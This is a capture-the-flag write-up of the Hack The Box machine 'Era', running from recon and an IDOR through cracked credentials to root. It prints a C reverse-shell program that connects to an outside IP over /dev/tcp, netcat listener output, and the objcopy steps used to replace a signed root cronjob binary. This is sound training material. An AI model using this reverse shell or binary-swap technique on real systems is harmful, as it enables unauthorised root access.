Era is a medium-difficulty machine from Hack The Box which deals initially with a hidden subdomain allowing us to exploit a simple IDOR to get site backup file containing a database file with hashes that we crack => exploit PHP ssh file wrappers to get system access. We’ll finally exploit a running cronjob by signing our exploit and launching a listener to get root.
Era
Reconnaissance
1 2 3 4 5 6 7 8 9 10
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://era.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) 514/tcp filtered shell Aggressive OS guesses: Actiontec MI424WR-GEN3I WAP (99%), DD-WRT v24-sp2 (Linux 2.4.37) (97%), Linux 3.2 (96%), Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012 (96%), Linux 4.4 (94%), Microsoft Windows XP SP3 (94%), BlueArc Titan 2100 NAS device (90%), VMware Player virtual NAT device (89%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
We can see we have ftp open, port 514 and a web application deployed on port 80 redirecting us to era.htb which we should add to our /etc/hosts file.
Creating a python script or using burp intruder discover ids 54 and 150 The files under these two IDs are called site-backup-30-08.zip and signing.zip. Maybe some certificates and keys?
Inside the site backup we find a sqlite database from which we get users hashes that we crack:
Next step is to login as eric, update security questions for admin_ef01cab31aa and then login with him I also used deepseek for some source code analysis and it suggested using php special wrappers: Deepseek
And we get a callback to our listener and the user flag:
1 2 3 4 5 6 7 8 9 10
PS C:\Users\0xkujen\Documents\Tools\CRTE\netcat-win32-1.12> .\nc.exe -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.6] from (UNKNOWN) [10.129.41.244] 47832 id uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs) cd ls user.txt cat user.txt 1d4a0329c2278b59b934bfebef19f1da
python3 -c 'import pty; pty.spawn("/bin/bash")' eric@era:~$ ls ls user.txt eric@era:~$ id id uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs) eric@era:~$ sudo -l sudo -l [sudo] password for eric: america
Sorry, user eric may not run sudo on era. eric@era:~$ su yuri su yuri Password: mustang
$ sudo -l sudo -l [sudo] password for yuri: mustang
Sorry, user yuri may not run sudo on era. $
We find this interesting folder we got privileges on under /opt:
1 2 3 4 5 6 7 8 9
$ ls -al ls -al total 12 drwxrwxr-x 3 root root 4096 Jul 22 08:42 . drwxr-xr-x 20 root root 4096 Jul 22 08:41 .. drwxrwxr-- 3 root devs 4096 Jul 22 08:42 AV $ pwd pwd /opt
Also running pspy to check for any background tasks:
eric@era:~$ ls ls back.c user.txt eric@era:~$ cat back.c cat back.c #include <stdlib.h> int main() { system("/bin/bash -c '''bash -i >& /dev/tcp/10.10.16.6/4444 0>&1'''"); return 0; } eric@era:~$ gcc -static -o monitor_backdoor back.c gcc -static -o monitor_backdoor back.c eric@era:~$ ls ls back.c monitor_backdoor user.txt eric@era:~$ objcopy --dump-section .text_sig=sig /opt/AV/periodic-checks/monitor <ction .text_sig=sig /opt/AV/periodic-checks/monitor eric@era:~$ ls ls back.c monitor_backdoor sig user.txt eric@era:~$ objcopy --add-section .text_sig=sig monitor_backdoor objcopy --add-section .text_sig=sig monitor_backdoor eric@era:~$ cp monitor_backdoor /opt/AV/periodic-checks/monitor cp monitor_backdoor /opt/AV/periodic-checks/monitor eric@era:~$
We sign the revshell script using objcopy and let it run with our listener waiting:
1 2 3 4 5 6 7 8 9 10 11 12 13
(base) ┌──(kali㉿kali)-[~/Desktop] └─$ rlwrap nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.16.6] from (UNKNOWN) [10.129.237.233] 37168 bash: cannot set terminal process group (20860): Inappropriate ioctl for device bash: no job control in this shell root@era:~# cat /root/root cat /root/root cat: /root/root: No such file or directory root@era:~# cat /root/root.txt cat /root/root.txt 63a0f7ac4c56a7c5501b22b8ad39a64d root@era:~#
And that was it for Era. Hope you learned something new!
